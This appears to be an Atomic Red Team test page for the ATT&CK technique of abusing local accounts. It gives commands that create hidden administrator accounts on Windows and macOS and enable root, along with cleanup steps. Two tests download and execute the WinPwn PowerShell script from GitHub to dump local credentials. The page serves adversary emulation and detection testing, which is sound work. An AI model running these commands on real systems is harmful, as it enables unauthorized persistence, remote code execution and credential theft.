T1078.003
Valid Accounts: Local Accounts
Description from ATT&CK
Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.
Atomic Tests
Atomic Test #1 - Create local account with admin privileges
After execution the new account will be active and added to the Administrators group
Supported Platforms: windows
auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
password | Password for art-test user | string | -4RTisCool!-321 |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
1
2
3
net user art-test /add
net user art-test #{password}
net localgroup administrators art-test /add
Cleanup Commands:
1
2
net localgroup administrators art-test /delete >nul 2>&1
net user art-test /delete >nul 2>&1
Atomic Test #2 - Create local account with admin privileges - MacOS
After execution the new account will be active and added to the Administrators group
Supported Platforms: macos
auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
2
3
4
5
6
7
8
dscl . -create /Users/AtomicUser
dscl . -create /Users/AtomicUser UserShell /bin/bash
dscl . -create /Users/AtomicUser RealName "Atomic User"
dscl . -create /Users/AtomicUser UniqueID 503
dscl . -create /Users/AtomicUser PrimaryGroupID 503
dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
dscl . -passwd /Users/AtomicUser mySecretPassword
dscl . -append /Groups/admin GroupMembership AtomicUser
Cleanup Commands:
1
sudo dscl . -delete /Users/AtomicUser
Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS
After execution the new account will be active and added to the Administrators group
Supported Platforms: macos
auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin
Cleanup Commands:
1
sysadminctl interactive -deleteUser art-tester
Atomic Test #4 - Enable root account using dsenableroot utility - MacOS
After execution the current/new user will have root access
Supported Platforms: macos
auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
2
dsenableroot #current user
dsenableroot -u art-tester -p art-tester -r art-root #new user
Cleanup Commands:
1
2
dsenableroot -d #current user
dsenableroot -d -u art-tester -p art-tester #new user
Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS
After execution the current/new user will be added to the Admin group
Supported Platforms: macos
auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875
Inputs:
None
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
1
dseditgroup -o edit -a art-user -t user admin
Cleanup Commands:
1
dseditgroup -o edit -d art-user -t user admin
Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie
Loot local Credentials - powerhell kittie technique via function of WinPwn
Supported Platforms: windows
auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
1
2
3
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
obfuskittiedump -consoleoutput -noninteractive
Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz
Loot local Credentials - Safetykatz technique via function of WinPwn
Supported Platforms: windows
auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
1
2
3
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
safedump -consoleoutput -noninteractive